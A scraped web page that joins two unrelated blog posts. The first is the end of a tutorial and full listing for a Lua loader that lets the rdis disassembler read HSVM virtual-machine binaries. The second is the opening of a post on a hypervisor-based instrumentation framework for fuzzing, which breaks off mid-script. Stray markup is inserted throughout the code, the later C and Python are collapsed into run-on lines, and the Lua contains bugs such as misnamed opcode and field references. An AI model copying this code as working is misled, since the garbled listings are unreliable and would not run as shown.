You're probably thinking, "Wait**\!** That table starts at index 1**\!** " You
are correct. Lua begins tables at index 1 by convention**.** Iterating over a
table that starts at 0 will skip the first element, and several other minor
lua quirks will cause headaches later down the road**.** In lua, start your
tables at index 1.

We can now return the hsvm object to the user**.**

[code]         return hsvm

    end
    
[/code]

Hsvm.ins \(hsvm, address\)

Hsvm.ins is our workhorse function and will compose the bulk of our
loader**.** Partly this is because hsvm binaries are format-less files**.**
Rdis will call loader:ins\(address\) and expect to receive either a valid ins
table, or nil if disassembly at the given address was not valid**.**  
  
The address is a virtual address, not an offset into your binary file**.**
Because HSVM files are loaded directly into memory starting at address 0,
address and offset are practically synonymous for HSVM**.**

Rdis will expect the table returned to include the following elements:

uint64 ins.address

table ins.successors

uint64 ins.target

string ins.description

table ins.bytes

boolean ins.call

ins.address is the address of the instruction**.** You can take this directly
from the function's address argument**.** This field is always required.

ins.successors is a table where the values are of type uint64 and represent
the addresses where control flow may continue after this instruction**.** This
should become self-explanatory once we are done, but if you require more
explanation see my previous post, Creating Control Flow Graphs from Assembly
**.** Rdis will use this table to recursively disassemble your executable**.**
If there are no successors, this field can be omitted or set to nil**.**

ins.target is a uint64 address, used with branch instructions, that designates
the target address of the branch**.** Rdis uses this to intelligently provide
additional information while displaying instructions**.** This field can be
omitted or set to nil if there is no target, or if you don't wish to spend the
time implementing it**.**

ins.description is a string representation of the instruction**.** This field
is always required**.**

ins.bytes is a table of numbers, beginning from index 1, corresponding to the
bytes which compose this instruction**.** This field is always required**.**

ins.call is a boolean. If the instruction is a call, set this field to
true**.** Otherwise it can be omitted, set to nil or false. Do not expect Call
Graphs to work if you do not set this field**.**

While rdis will look for the above fields, we can add as many additional
fields as we wish**.** We will use a few additional fields to simplify the
implementation of our loader**.**

Our first task in Hsvm.ins will be to decode the encoded instructions into
something more meaningful**.** In addition to the required fields, we will
have three internal fields: opcode, operands and lval**.** We'll create helper
functions to fill out more complex information later**.**

[code]     function Hsvm.ins (hsvm, address)

    
        function description (ins)
            return "instruction"
        end
    
        ------------------------------------------------
    
        function successors (ins)
            return nil
        end
    
        ------------------------------------------------
    
        function target (ins)
            return nil
        end
    
        ------------------------------------------------
    
        local bytes = {hsvm.bytes[address:number() + 1],
                       hsvm.bytes[address:number() + 2],
                       hsvm.bytes[address:number() + 3],
                       hsvm.bytes[address:number() + 4]}
    
        local ins = {}
        local opcode = bytes[1]
        local validate_operands = 0
    
        ins.address = address
        ins.opcode  = opcode
    
        ins.bytes = bytes
    
        -- set operands/lval
        -- Encoding A
        if    opcode == Hsvm**.** OP_HLT
           or opcode == Hsvm.OP_NOP
           or opcode == Hsvm.SYSCALL
           or opcode == Hsvm**.** OP_RET then
           -- do nothing
    
        -- Encoding B
        elseif    opcode == Hsvm**.** OP_CALLR
               or opcode == Hsvm.OP_PUSH
               or opcode == Hsvm.OP_POP
               or opcode == Hsvm**.** OP_IN
               or opcode == Hsvm.OP_OUT then
            ins.operands = {}
            ins.operands[1] = bytes[2]
    
        -- Encoding C
        elseif    opcode == Hsvm**.** OP_CMP
               or opcode == Hsvm.OP_LOADR
    ..**.**
               or opcode == Hsvm.OP_STORBR
               or opcode == Hsvm**.** OP_MOV then
            ins.operands = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
    
        -- Encoding D
        elseif    opcode == Hsvm**.** OP_ADD
               or opcode == Hsvm.OP_SUB
    ...
               or opcode == Hsvm**.** OP_OR
               or opcode == Hsvm.OP_XOR then
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
            ins.operands[3] = bytes[4]
    
        -- Encoding E
        elseif    opcode == Hsvm**.** OP_ADDLVAL
               or opcode == Hsvm.OP_SUBLVAL
    ..**.**
               or opcode == Hsvm.OP_STORB
               or opcode == Hsvm**.** OP_MOVLVAL then
    
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.lval        = bytes[3] * 256
            ins.lval        = uint64(ins.lval + bytes[4])
    
        elseif    opcode == Hsvm**.** OP_JE
               or opcode == Hsvm.OP_JNE
    ...
               or opcode == Hsvm**.** OP_JMP
               or opcode == Hsvm.OP_PUSHLVAL then
            ins.lval = bytes[3] * 256
            ins.lval = uint64(ins.lval + bytes[4])
    
        else
            return nil
        end
    
        if ins.operands ~= nil then
            for k,v in pairs(ins.operands) do
                if     v ~= Hsvm.REG_0
                   and v ~= Hsvm.REG_1
    ..**.**
                   and v ~= Hsvm.REG_SP
                   and v ~= Hsvm.REG_IP then
                    return nil
                end
            end
        end
    
        ins.target      = target(ins)
        ins.successors  = successors(ins)
        ins.description = description(ins)
    
        if ins.opcode == Hsvm**.** OP_CALL then
            ins.call = true
        else
            ins.call = false
        end
    
        return ins
    end
    
[/code]

While this may return valid instructions, the result won't be very
helpful**.** First, all of our instructions will be described as "instruction"
and rdis will be unable to perform recursive disassembly**.**

Before we continue, let's talk about address:number\(\) **.** This method
converts a uint64 to a lua number, and is _potentially dangerous_**.** The
reasons we require this method are beyond the scope of this post, but know
that you cannot index a lua table with a uint64, you must use a lua
number**.** Lua numbers are of type double, giving you roughly 48 bits to work
with**.** This should normally be a non-issue unless you are working with an
instruction set with more than 48-bits of addressable memory \(not
x86-64\)**.**

Moving on, we need to fill out our helper functions**.** They should look like
this:

[code]         function description (ins)

            local s = nil
    
            local opcode = ins.opcode
    
            if     opcode == Hsvm**.** OP_ADD      then s = "add"
            elseif opcode == Hsvm**.** OP_ADDLVAL  then s = "add"
    ...
            elseif opcode == Hsvm.OP_SYSCALL  then s = "syscall"
            elseif opcode == Hsvm**.** OP_NOP      then s = "nop"
            else
                return nil
            end
    
            if ins.operands ~= nil then
                local reg_strings = {}
                for k, reg in pairs(ins.operands) do
                    if     reg == Hsvm.REG_0  then table.insert(reg_strings, "r0")
                    elseif reg == Hsvm.REG_1  then table.insert(reg_strings, "r1")
    ..**.**
                    elseif reg == Hsvm.REG_SP then table.insert(reg_strings, "rsp")
                    elseif reg == Hsvm.REG_IP then table.insert(reg_strings, "rip")
                    end
                end
                s = s .. " " .. table.concat(reg_strings, ", ")
            end
    
            if ins.lval ~= nil then
                if ins.operand ~= nil then
                    s = s .. ", " .. tostring(ins.lval)
                else
                    s = s .. " " .. tostring(ins.lval)
                end
            end
    
            return s
        end
    
        ------------------------------------------------
    
        function successors (ins)
            if    ins.opcode == Hsvm**.** OP_RET
               or ins.opcode == Hsvm.OP_HLT then
                return nil
            end
    
            if ins.opcode == Hsvm**.** OP_JMP then
                return {(ins.address + ins.lval + 4) % 65536}
            end
    
            local successors = {ins.address + 4}
    
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
    ...
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                table.insert(successors, (ins.address + ins.lval + 4) % 65536)
            end
    
            return successors
        end
    
        ------------------------------------------------
    
        function target (ins)
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
    ..**.**
               or ins.opcode == Hsvm.OP_JGE
               or ins.opcode == Hsvm**.** OP_CALL then
                return (ins.address + ins.lval + 4) % 65536
            end
            return nil
        end
[/code]

Now that we're done with that nightmare we can move on to the remaining
functions**.**

Hsvm.function\_address \(hsvm, address\)  
  
This function will return a table of uint64 addresses of what we believe are
functions given the address passed to it**.** At a minimum, we could simply
return a table with the address argument as the sole element, but we're going
to be a bit more creative and do some recursive disassembly of our own**.**  
  
The following should be self-explanatory and makes use of the ins function we
have already written**.**

[code]    function Hsvm.function_address (hsvm, address)

        local disassembled = {}
        local functions    = {}
        local queue        = {address}
    
        functions[address:number()] = address
    
        while #queue > 0 do
            local addr = queue[1]
            table.remove(queue, 1)
    
            if disassembled[addr:number()] == nil and addr + 4 <= uint64(#hsvm.bytes) then
                disassembled[addr:number()] = true
    
                local ins = hsvm:ins(addr)
    
                if ins ~= nil and ins.successors ~= nil then
                    for k, successor in pairs(ins.successors) do
                        table.insert(queue, successor)
                    end
                end
    
                if ins ~= nil and ins.call == true and ins.target ~= nil then
                    functions[ins.target:number()] = ins.target
                end
            end
        end
    
        return functions
    end
[/code]

  
The remaining functions  
  
Because HSVM is non-complex, we can implement our remaining function in just a
few lines

[code]    function Hsvm.functions (hsvm)

        return hsvm:function_address(uint64(0))
    end
    
[/code]

  
HSVM will begin interpreting our code from address 0**.** We have no other
indicators of where functions may be, so a recursive disassembly from address
0 is our best bet for determining all reachable functions in HSVM**.**

[code]    function Hsvm.label (hsvm, address)

        return "fun_" .. tostring(address)
    end
    
[/code]

  
We have no symbol information for our hsvm executable, so we will label our
functions based purely upon their address**.**

[code]    function Hsvm.memory_map (hsvm)

        local memory_map = {}
        memory_map[uint64(0)] = hsvm.bytes
        return memory_map
    end
[/code]

  
Hsvm programs are loaded directly into memory, where offset 0 is equal to
address 0**.** This makes our memory\_map function easy.

[code]    function Hsvm.entry (hsvm)

        return 0
    end
[/code]

  
Hsvm programs begin at address 0, so we simply return 0 from our loader**.**  
  
Bringing it all together  
  
We save our completed lua loader and create an entry in ~/.rdis.lua to load it
for us automatically**.**  
  
Your .rdis.lua may look like this:

[code]    Hsvm = dofile("/path/to/hsvm.lua")

[/code]

  
Now we load lua and in the command window issue the following command:

[code]    rdis.load(Hsvm.new("/path/to/hsvm/file"))

[/code]

  
And we're done**\!**

The complete hsvm.lua file

For completion's sake, here's the entire hsvm.lua file:

[code]     Hsvm = {}

    Hsvm**.** __index = Hsvm
    
    Hsvm.REG_0       = 0x00
    Hsvm.REG_1       = 0x01
    Hsvm.REG_2       = 0x02
    Hsvm.REG_3       = 0x03
    Hsvm.REG_4       = 0x04
    Hsvm.REG_5       = 0x05
    Hsvm.REG_6       = 0x06
    Hsvm.REG_7       = 0x0A
    Hsvm.REG_BP      = 0x08
    Hsvm.REG_SP      = 0x09
    Hsvm.REG_IP      = 0x07
    Hsvm**.** OP_ADD      = 0x10
    Hsvm.OP_ADDLVAL  = 0x11
    Hsvm.OP_SUB      = 0x12
    Hsvm.OP_SUBLVAL  = 0x13
    Hsvm**.** OP_MUL      = 0x14
    Hsvm.OP_MULLVAL  = 0x15
    Hsvm.OP_DIV      = 0x16
    Hsvm.OP_DIVLVAL  = 0x17
    Hsvm**.** OP_MOD      = 0x18
    Hsvm.OP_MODLVAL  = 0x19
    Hsvm.OP_AND      = 0x1A
    Hsvm.OP_ANDLVAL  = 0x1B
    Hsvm**.** OP_OR       = 0x1C
    Hsvm.OP_ORLVAL   = 0x1D
    Hsvm.OP_XOR      = 0x1E
    Hsvm.OP_XORLVAL  = 0x1F
    Hsvm**.** OP_JMP      = 0x20
    Hsvm.OP_JE       = 0x21
    Hsvm.OP_JNE      = 0x22
    Hsvm.OP_JL       = 0x23
    Hsvm**.** OP_JLE      = 0x24
    Hsvm.OP_JG       = 0x25
    Hsvm.OP_JGE      = 0x26
    Hsvm.OP_CALL     = 0x27
    Hsvm**.** OP_CALLR    = 0x28
    Hsvm.OP_RET      = 0x29
    Hsvm.OP_LOAD     = 0x30
    Hsvm.OP_LOADR    = 0x31
    Hsvm**.** OP_LOADB    = 0x32
    Hsvm.OP_LOADBR   = 0x33
    Hsvm.OP_STOR     = 0x34
    Hsvm.OP_STORR    = 0x35
    Hsvm**.** OP_STORB    = 0x36
    Hsvm.OP_STORBR   = 0x37
    Hsvm.OP_IN       = 0x40
    Hsvm.OP_OUT      = 0x41
    Hsvm**.** OP_PUSH     = 0x42
    Hsvm.OP_PUSHLVAL = 0x43
    Hsvm.OP_POP      = 0x44
    Hsvm.OP_MOV      = 0x51
    Hsvm**.** OP_MOVLVAL  = 0x52
    Hsvm.OP_CMP      = 0x53
    Hsvm.OP_CMPLVAL  = 0x54
    Hsvm.OP_HLT      = 0x60
    Hsvm**.** OP_SYSCALL  = 0x61
    Hsvm.OP_NOP      = 0x90
    
    
    function Hsvm.new (filename)
        local hsvm = {}
        setmetatable(hsvm, Hsvm)
    
        local fh  = io.open(filename, "r")
        if fh == nil then
            rdis.console("failed to open file: " .. filename)
            return nil
        end
    
        local raw = fh:read("*a")
        fh:close()
    
        hsvm.bytes = {}
        for i=1, #raw do
            hsvm.bytes[i] = string.byte(raw, i)
        end
    
        return hsvm
    end
    
    
    -- used internally
    -- ins.opcode      = Hsvm**.** OP_*
    -- ins.operands    = table of registers
    -- ins.lval        = opcode lval
    
    -- required by rdis
    -- ins.address     = address of this instruction
    -- ins.successors  = table of addresses of instructions which are successors
    --                   to this instruction, or nil if no successors
    -- ins.target      = address of this instruction's target, or nil
    -- ins.description = string representation of this instruction
    -- ins.bytes       = a table of integers representing this instruction's bytes
    -- ins.call        = true if this instruction is a call, false or nil otherwise
    function Hsvm.ins (hsvm, address)
    
        function description (ins)
            local s = nil
    
            local opcode = ins.opcode
    
            if     opcode == Hsvm**.** OP_ADD      then s = "add"
            elseif opcode == Hsvm**.** OP_ADDLVAL  then s = "add"
            elseif opcode == Hsvm**.** OP_SUB      then s = "sub"
            elseif opcode == Hsvm**.** OP_SUBLVAL  then s = "sub"
            elseif opcode == Hsvm**.** OP_MUL      then s = "mul"
            elseif opcode == Hsvm**.** OP_MULLVAL  then s = "mul"
            elseif opcode == Hsvm**.** OP_DIV      then s = "div"
            elseif opcode == Hsvm**.** OP_DIVLVAL  then s = "div"
            elseif opcode == Hsvm**.** OP_MOD      then s = "mod"
            elseif opcode == Hsvm**.** OP_MODLVAL  then s = "mod"
            elseif opcode == Hsvm**.** OP_AND      then s = "and"
            elseif opcode == Hsvm**.** OP_ANDLVAL  then s = "and"
            elseif opcode == Hsvm**.** OP_OR       then s = "or"
            elseif opcode == Hsvm**.** OP_ORLVAL   then s = "or"
            elseif opcode == Hsvm**.** OP_XOR      then s = "xor"
            elseif opcode == Hsvm**.** OP_XORLVAL  then s = "xor"
            elseif opcode == Hsvm**.** OP_JMP      then s = "jmp"
            elseif opcode == Hsvm**.** OP_JE       then s = "je"
            elseif opcode == Hsvm**.** OP_JNE      then s = "jne"
            elseif opcode == Hsvm**.** OP_JL       then s = "jl"
            elseif opcode == Hsvm**.** OP_JLE      then s = "jle"
            elseif opcode == Hsvm**.** OP_JG       then s = "jg"
            elseif opcode == Hsvm**.** OP_JGE      then s = "jge"
            elseif opcode == Hsvm**.** OP_CALL     then s = "call"
            elseif opcode == Hsvm**.** OP_CALLR    then s = "call"
            elseif opcode == Hsvm**.** OP_RET      then s = "ret"
            elseif opcode == Hsvm**.** OP_LOAD     then s = "load"
            elseif opcode == Hsvm**.** OP_LOADR    then s = "load"
            elseif opcode == Hsvm**.** OP_LOADB    then s = "loadb"
            elseif opcode == Hsvm**.** OP_LOADBR   then s = "loadb"
            elseif opcode == Hsvm**.** OP_STOR     then s = "stor"
            elseif opcode == Hsvm**.** OP_STORR    then s = "stor"
            elseif opcode == Hsvm**.** OP_STORB    then s = "storb"
            elseif opcode == Hsvm**.** OP_STORBR   then s = "storb"
            elseif opcode == Hsvm**.** OP_IN       then s = "in"
            elseif opcode == Hsvm**.** OP_OUT      then s = "out"
            elseif opcode == Hsvm**.** OP_PUSH     then s = "push"
            elseif opcode == Hsvm**.** OP_PUSHLVAL then s = "push"
            elseif opcode == Hsvm**.** OP_POP      then s = "pop"
            elseif opcode == Hsvm**.** OP_MOV      then s = "mov"
            elseif opcode == Hsvm**.** OP_MOVLVAL  then s = "mov"
            elseif opcode == Hsvm**.** OP_CMP      then s = "cmp"
            elseif opcode == Hsvm**.** OP_CMPLVAL  then s = "cmp"
            elseif opcode == Hsvm**.** OP_HLT      then s = "hlt"
            elseif opcode == Hsvm**.** OP_SYSCALL  then s = "syscall"
            elseif opcode == Hsvm**.** OP_NOP      then s = "nop"
            else
                return nil
            end
    
            if ins.operands ~= nil then
                local reg_strings = {}
                for k, reg in pairs(ins.operands) do
                    if     reg == Hsvm.REG_0  then table.insert(reg_strings, "r0")
                    elseif reg == Hsvm.REG_1  then table.insert(reg_strings, "r1")
                    elseif reg == Hsvm.REG_2  then table.insert(reg_strings, "r2")
                    elseif reg == Hsvm.REG_3  then table.insert(reg_strings, "r3")
                    elseif reg == Hsvm.REG_4  then table.insert(reg_strings, "r4")
                    elseif reg == Hsvm.REG_5  then table.insert(reg_strings, "r5")
                    elseif reg == Hsvm.REG_6  then table.insert(reg_strings, "r6")
                    elseif reg == Hsvm.REG_7  then table.insert(reg_strings, "r7")
                    elseif reg == Hsvm.REG_BP then table.insert(reg_strings, "rbp")
                    elseif reg == Hsvm.REG_SP then table.insert(reg_strings, "rsp")
                    elseif reg == Hsvm.REG_IP then table.insert(reg_strings, "rip")
                    end
                end
                s = s .. " " .. table.concat(reg_strings, ", ")
            end
    
            if ins.lval ~= nil then
                if ins.operand ~= nil then
                    s = s .. ", " .. tostring(ins.lval)
                else
                    s = s .. " " .. tostring(ins.lval)
                end
            end
    
            return s
        end
    
        ------------------------------------------------
    
        function successors (ins)
            if    ins.opcode == Hsvm**.** OP_RET
               or ins.opcode == Hsvm.OP_HLT then
                return nil
            end
    
            if ins.opcode == Hsvm**.** OP_JMP then
                return {(ins.address + ins.lval + 4) % 65536}
            end
    
            local successors = {ins.address + 4}
    
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
               or ins.opcode == Hsvm**.** OP_JNE
               or ins.opcode == Hsvm.OP_JL
               or ins.opcode == Hsvm**.** OP_JLE
               or ins.opcode == Hsvm.OP_JG
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                table.insert(successors, (ins.address + ins.lval + 4) % 65536)
            end
    
            return successors
        end
    
        ------------------------------------------------
    
        function target (ins)
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
               or ins.opcode == Hsvm**.** OP_JNE
               or ins.opcode == Hsvm.OP_JL
               or ins.opcode == Hsvm**.** OP_JLE
               or ins.opcode == Hsvm.OP_JG
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                return (ins.address + ins.lval + 4) % 65536
            end
            return nil
        end
    
        ------------------------------------------------
    
        local bytes = {hsvm.bytes[address:number() + 1],
                       hsvm.bytes[address:number() + 2],
                       hsvm.bytes[address:number() + 3],
                       hsvm.bytes[address:number() + 4]}
    
        local ins = {}
        local opcode = bytes[1]
        local validate_operands = 0
    
        ins.address = address
        ins.opcode  = opcode
    
        ins.bytes = bytes
    
        -- set operands/lval
        -- Encoding A
        if    opcode == Hsvm**.** OP_HLT
           or opcode == Hsvm.OP_NOP
           or opcode == Hsvm.SYSCALL
           or opcode == Hsvm**.** OP_RET then
           -- do nothing
    
        -- Encoding B
        elseif    opcode == Hsvm**.** OP_CALLR
               or opcode == Hsvm**.** OP_PUSH
               or opcode == Hsvm.OP_POP
               or opcode == Hsvm**.** OP_IN
               or opcode == Hsvm.OP_OUT then
            ins.operands = {}
            ins.operands[1] = bytes[2]
    
        -- Encoding C
        elseif    opcode == Hsvm**.** OP_CMP
               or opcode == Hsvm.OP_LOADR
               or opcode == Hsvm**.** OP_LOADBR
               or opcode == Hsvm.OP_STORR
               or opcode == Hsvm**.** OP_STORBR
               or opcode == Hsvm.OP_MOV then
            ins.operands = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
    
        -- Encoding D
        elseif    opcode == Hsvm**.** OP_ADD
               or opcode == Hsvm.OP_SUB
               or opcode == Hsvm**.** OP_MUL
               or opcode == Hsvm.OP_DIV
               or opcode == Hsvm**.** OP_MOD
               or opcode == Hsvm.OP_AND
               or opcode == Hsvm**.** OP_OR
               or opcode == Hsvm.OP_XOR then
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
            ins.operands[3] = bytes[4]
    
        -- Encoding E
        elseif    opcode == Hsvm**.** OP_ADDLVAL
               or opcode == Hsvm.OP_SUBLVAL
               or opcode == Hsvm**.** OP_MULLVAL
               or opcode == Hsvm.OP_DIVLVAL
               or opcode == Hsvm**.** OP_MODLVAL
               or opcode == Hsvm.OP_ANDLVAL
               or opcode == Hsvm**.** OP_ORLVAL
               or opcode == Hsvm.OP_XORLVAL
               or opcode == Hsvm**.** OP_CMPLVAL
               or opcode == Hsvm.OP_LOAD
               or opcode == Hsvm**.** OP_LOADB
               or opcode == Hsvm.OP_STOR
               or opcode == Hsvm**.** OP_STORB
               or opcode == Hsvm.OP_MOVLVAL then
    
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.lval        = bytes[3] * 256
            ins.lval        = uint64(ins.lval + bytes[4])
    
        elseif    opcode == Hsvm**.** OP_JE
               or opcode == Hsvm.OP_JNE
               or opcode == Hsvm**.** OP_JL
               or opcode == Hsvm.OP_JLE
               or opcode == Hsvm**.** OP_JG
               or opcode == Hsvm.OP_JGE
               or opcode == Hsvm**.** OP_CALL
               or opcode == Hsvm.OP_JMP
               or opcode == Hsvm**.** OP_PUSHLVAL then
            ins.lval = bytes[3] * 256
            ins.lval = uint64(ins.lval + bytes[4])
    
        else
            return nil
        end
    
        if ins.operands ~= nil then
            for k,v in pairs(ins.operands) do
                if     v ~= Hsvm.REG_0
                   and v ~= Hsvm.REG_1
                   and v ~= Hsvm.REG_2
                   and v ~= Hsvm.REG_3
                   and v ~= Hsvm.REG_4
                   and v ~= Hsvm.REG_5
                   and v ~= Hsvm.REG_6
                   and v ~= Hsvm.REG_7
                   and v ~= Hsvm.REG_BP
                   and v ~= Hsvm.REG_SP
                   and v ~= Hsvm.REG_IP then
                    return nil
                end
            end
        end
    
        ins.target      = target(ins)
        ins.successors  = successors(ins)
        ins.description = description(ins)
    
        if ins.opcode == Hsvm**.** OP_CALL then
            ins.call = true
        else
            ins.call = false
        end
    
        return ins
    end
    
    
    function Hsvm.function_address (hsvm, address)
        local disassembled = {}
        local functions    = {}
        local queue        = {address}
    
        functions[address:number()] = address
    
        while #queue > 0 do
            local addr = queue[1]
            table.remove(queue, 1)
    
            if disassembled[addr:number()] == nil and addr + 4 <= uint64(#hsvm.bytes) then
                disassembled[addr:number()] = true
    
                local ins = hsvm:ins(addr)
    
                if ins ~= nil and ins.successors ~= nil then
                    for k, successor in pairs(ins.successors) do
                        table.insert(queue, successor)
                    end
                end
    
                if ins ~= nil and ins.call == true and ins.target ~= nil then
                    functions[ins.target:number()] = ins.target
                end
            end
        end
    
        return functions
    end
    
    
    function Hsvm.functions (hsvm)
        return hsvm:function_address(uint64(0))
    end
    
    
    function Hsvm.label (hsvm, address)
        return "fun_" .. tostring(address)
    end
    
    
    function Hsvm.memory_map (hsvm)
        local memory_map = {}
        memory_map[uint64(0)] = hsvm.bytes
        return memory_map
    end
    
    function Hsvm.entry (hsvm)
        return 0
    end
    
    return Hsvm
[/code]

Posted 13th November 2012 by rednovae

Labels: rdis

0

###  Add a comment****

Links

Blog Archive

Subscribe

Loading

Send feedback ****

# DBI framework for fuzzing on the board, part I. | @zer0mem
**Created:**| _8/5/2013 8:05:34 AM_  
---|---  
**Updated:**| _8/5/2013 8:05:34 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation Fuzzer programming fuzzing_  
  

# DBI framework for fuzzing on the board, part I.

Posted by admin on August 4, 2013

I started a bit researching around fuzzers, fuzzing techniques and
practices**.** As i study materials about fuzzing, code \(node / edge\)
coverage approach quickly impressed me**.** But for this method is essential
to have a good dbi**.** Pin  or valgrind  are good solutions, but will i try
to make it in lightweight way – specificated for further fuzzing needs**.**

Already implemented features :

  * BTF – Hypervisor based
  * PageTable walker
  * VAD walker
  * full Process control \[images, threads, memory\]
  * Syscall monitoring – implemented process virtual memory monitor

**FEATURES  
**

  * _**BTF** – Hypervisor based_

Branch tracing  is known method already implemented in some of tracers, but
known \(\*known for me\) methods implemented it just under debugger**.** When
it comes to play with binary code \(tracing, unpacking, monitoring\) – i dont
like simulated enviroment like debugger, because it is too slow… it can be
little crappy to set up BTF in msr, in ring0, wait for exception processing
and for finaly executing your exception handler to handle branch tracing, and
for keeping track to set up BTF in msr == switch to ring0 again**\!** this
seems like a solid perfomance overkill**.**

But in previous post  i mentioned possibility how to use intel vtx technology
to gain some advantages for reasonable performance penalty**.** After a bit
playing with documentation and some debuging, i come to easy way how to extend
hypervisor, that was introduced, with handling TRAPS and keep eye on BTF**\!**

In other words when Trap flag is set then each trap exception will cause
VM\_EXIT**.** So tracing on branches will be handled not by system exception
handling but by our monitor**\!** and with perfomance penalty == our
processing BTF and VM\_EXIT cost**\!**

| //turn on vm\_exit on traps **\!** if \(m\_exceptionhandling\) //activate exception handling ULONG\_PTR int\_state; vmread\(VMX\_VMCS32\_GUEST\_INTERRUPTIBILITY\_STATE, &int\_state\); if\(\(int\_state & 3\)\) int\_state &= ~\(3\); vmwrite\(VMX\_VMCS32\_GUEST\_INTERRUPTIBILITY\_STATE, int\_state\); ULONG\_PTR intercepts; vmread\(VMX\_VMCS\_CTRL\_EXCEPTION\_BITMAP, &intercepts\); unsigned long mask = BTS\(TRAP\_debug\);// | BTS\(TRAP\_page\_fault\); intercepts |= mask; vmwrite\(VMX\_VMCS\_CTRL\_EXCEPTION\_BITMAP, intercepts\);  
---|---  
| m\_traps\[VMX\_EXIT\_EXCEPTION\] = \(ULONG\_PTR\)TrapHandler;void CDbiMonitor::TrapHandler\(  \_\_inout ULONG\_PTR reg\[REG\_COUNT\] size\_t ins\_len; if \(**\!** vmread\(VMX\_VMCS32\_RO\_EXIT\_INSTR\_LENGTH, &ins\_len\)\) ULONG\_PTR ins\_addr; //original 'ret'-addr if \(**\!** vmread\(VMX\_VMCS64\_GUEST\_RIP, &ins\_addr\)\) ins\_addr -= ins\_len; CDbiMonitor::GetInstance\(\).GetPrintfStack\(\).Push\(ins\_addr\);//print some info => i < 4 == old cpu :P ULONG\_PTR src = 0; for \(BYTE i = 0; i < 4; i++\) if \(rdmsr\(MSR\_LASTBRANCH\_0\_TO\_IP + i\) == ins\_addr\) src = rdmsr\(MSR\_LASTBRANCH\_0\_FROM\_IP + i\); CDbiMonitor::GetInstance\(\).Printf\(\).Push\(i\); CDbiMonitor::GetInstance\(\).Printf\(\).Push\(src\); break; //printf marker CDbiMonitor::GetInstance\(\).GetPrintfStack\(\).Push\(0xBADF00D0\); //set-up next BTF hook ULONG\_PTR rflags = 0; if \(**\!** vmread\(VMX\_VMCS\_GUEST\_RFLAGS, &rflags\)\) vmwrite\(VMX\_VMCS\_GUEST\_RFLAGS, \(rflags | TRAP\)\); vmwrite\(VMX\_VMCS64\_GUEST\_RIP, ins\_addr\);  
---|---  
  * _**PageTable** walker_

For effective fuzzing it is necessary to fuzz application from particular
state \(or you can just kill perfomance for re-running application per fuzz
test case\), and with this is related saving context -> memory address space,
thread context \(registers / stack\)**.** It is no such big deal just
enumerate memory address space, save context and you have it .. but it need a
lot of memory resources and it is time consuming as well …

For handling this step, i propose protecting all \(not write-copy, and
exluding stacks\) memory as _non-writeable,_ monitoring acces to write and
saving affected memory \(by custom PAGE\_SIZE granularity – not saving just
affected bytes alone => lookup & copy performance\)**.** But doing it by
additional VirtualProtect dont bring time effective results…

So after some educating how exactly PageTable looks like, and some googling
how to handle it i create PoC of pykd  – script :

| \#.load pykd.pyd; **\!** py mmuimport sysfrom pykd import \*nt =
module\("nt"\)ctx = \{\}def IsInRange\(module, addr\): return \(addr >=
module.begin\(\) and addr <= module.end\(\)\)import ctypesc\_uint64 =
ctypes**.** c\_uint64class CVAFlags\(ctypes.LittleEndianStructure\): \_pack\_
= 1 \_fields\_ = \[ \("ByteOffset", c\_uint64, 12\), \("PTESelector",
c\_uint64, 9\), \("PTSelector", c\_uint64, 9\), \("PDPSelector", c\_uint64,
9\), \("PML4Selector", c\_uint64, 9\),class CVirtualAddress\(ctypes.Union\):
\_fields\_ = \[\("VA", CVAFlags\), \("Value", c\_uint64\)\]class
CMMPTEFlags\(ctypes.LittleEndianStructure\): \_pack\_ = 1 \_fields\_ = \[
\("Valid", c\_uint64, 1\), \("Write", c\_uint64, 1\), \("Owner", c\_uint64,
1\), \("WriteTrough", c\_uint64, 1\), \("CacheDisabled", c\_uint64, 1\),
\("Accessed", c\_uint64, 1\), \("Dirty", c\_uint64, 1\), \("LargePage",
c\_uint64, 1\), \("Global", c\_uint64, 1\), \("SFCopyOnWrite", c\_uint64, 1\),
\("SFPrototypePTE", c\_uint64, 1\), \("SFWrite", c\_uint64, 1\),
\("PageFrameNumber", c\_uint64, 28\), \("Reserved", c\_uint64, 12\),
\("SFWorkingSetIndex", c\_uint64, 11\), \("NoExecute", c\_uint64, 1\),class
CMMPTE\(ctypes.Union\): \_fields\_ = \[\("HWPTE", CMMPTEFlags\), \("Value",
c\_uint64\)\]X64SIZE = 8def GetNextTable\(table, selector\):  offset =
\(table.HWPTE.PageFrameNumber << 12\) + selector \* X64SIZE print
\[table.HWPTE.LargePage, hex\(table.Value\),
hex\(table.HWPTE.PageFrameNumber\), hex\(offset\)\] \#print
dbgCommand\("**\!** dq %s"%\(hex\(offset\).replace\("L", ""\)\)\).split\("
"\)\#split\(""\)\[INDEX\] index should be propebly choosen,look at print above
table.Value = int\(dbgCommand\("**\!** dq %s"%\(hex\(offset\).replace\("L",
""\)\)\).split\(" "\)\[1\].replace\("\`", ""\), 16\) return tableaddr =
CVirtualAddress\(\)addr.Value = 0x2340000 \#HERE IS ADDRESS WHICH WE WOULD
LIKE TO LOOKUPprint dbgCommand\("**\!** pte
%s"%hex\(addr.Value\).replace\("L", ""\)\)print "ByteOffset: ", hex\(addr**.**
VA.ByteOffset\)print "PTESelector: ", hex\(addr**.** VA.PTESelector\)print
"PTSelector: ", hex\(addr**.** VA.PTSelector\)print "PDPSelector: ",
hex\(addr**.** VA.PDPSelector\)print "PML4Selector: ", hex\(addr**.**
